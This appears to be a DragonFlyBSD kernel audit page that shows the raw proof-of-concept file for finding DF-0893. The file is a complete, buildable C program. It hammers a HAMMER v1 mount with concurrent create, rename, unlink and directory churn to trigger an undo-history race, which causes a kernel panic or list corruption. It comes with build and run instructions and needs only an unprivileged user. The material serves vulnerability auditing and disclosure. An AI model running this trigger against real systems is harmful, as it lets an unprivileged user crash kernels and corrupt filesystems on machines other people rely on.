DragonFlyBSD Kernel Audit
DF-0893 / hammer_race_live.c
← back to finding ↓ download raw
/*
 * DF-0893 live trigger: generate sustained concurrent HAMMER v1 metadata
 * modifications to force the undo_alloc/LRU-recycle race in
 * hammer_enter_undo_history() (hammer_undo.c:432-460, called unlocked at
 * hammer_generate_undo:125 before undo_lock at :133).
 *
 * Run as an unprivileged user (maxx) on a HAMMER v1 mount whose root is
 * chowned to that user. Each file create/unlink/rename touches inode/blockmap
 * metadata -> hammer_modify_buffer -> hammer_generate_undo -> enter_undo_history.
 * With enough concurrent frontends the undo history caps (undo_alloc reaches
 * HAMMER_MAX_UNDOS=1024) and two threads race the LRU recycle or the
 * undo_alloc++ counter -> KKASSERT(onode==NULL) panic (GENERIC) or TAILQ
 * corruption (noinv).
 *
 * Build:  cc -O2 -pthread -o hammer_race_live hammer_race_live.c
 * Run:    ./hammer_race_live /path/to/hammer_mount_owned_by_me
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/stat.h>

static const char *root;
static int nthreads = 8;
static int rounds   = 4000;

static void *
worker(void *arg)
{
	long tid = (long)arg;
	char dir[512], file[640];
	int r, fd;

	snprintf(dir, sizeof(dir), "%s/t%ld", root, tid);
	/* try to create our own subdir; ignore EEXIST */
	if (mkdir(dir, 0777) && errno != EEXIST)
		fprintf(stderr, "mkdir(%s): %s\n", dir, strerror(errno));

	for (r = 0; r < rounds; r++) {
		/* create a file (metadata mod: inode alloc, dir entry) */
		snprintf(file, sizeof(file), "%s/f%d", dir, r);
		fd = open(file, O_WRONLY | O_CREAT | O_TRUNC, 0666);
		if (fd >= 0) {
			/* write a little data (block alloc -> more metadata) */
			(void)write(fd, "x", 1);
			close(fd);
		}
		/* rename it (dir entry mods) */
		{
			char to[640];
			snprintf(to, sizeof(to), "%s/r%d", dir, r);
			rename(file, to);
			unlink(to);
		}
		/* occasionally remove+recreate the subdir to bump btree mods */
		if ((r % 64) == 0) {
			rmdir(dir);
			mkdir(dir, 0777);
		}
	}
	return NULL;
}

int main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr, "usage: %s <hammer_mount_root_writable_by_me>\n",
			argv[0]);
		return 2;
	}
	root = argv[1];
	if (argc > 2) nthreads = atoi(argv[2]);
	if (argc > 3) rounds   = atoi(argv[3]);

	fprintf(stderr, "DF-0893 live trigger: %d threads x %d rounds on %s\n",
		nthreads, rounds, root);
	fflush(stderr);

	pthread_t *th = calloc(nthreads, sizeof(pthread_t));
	long i;
	for (i = 0; i < nthreads; i++)
		pthread_create(&th[i], NULL, worker, (void *)i);
	for (i = 0; i < nthreads; i++)
		pthread_join(th[i], NULL);

	fprintf(stderr, "DF-0893 live trigger: completed (no panic this run)\n");
	return 0;
}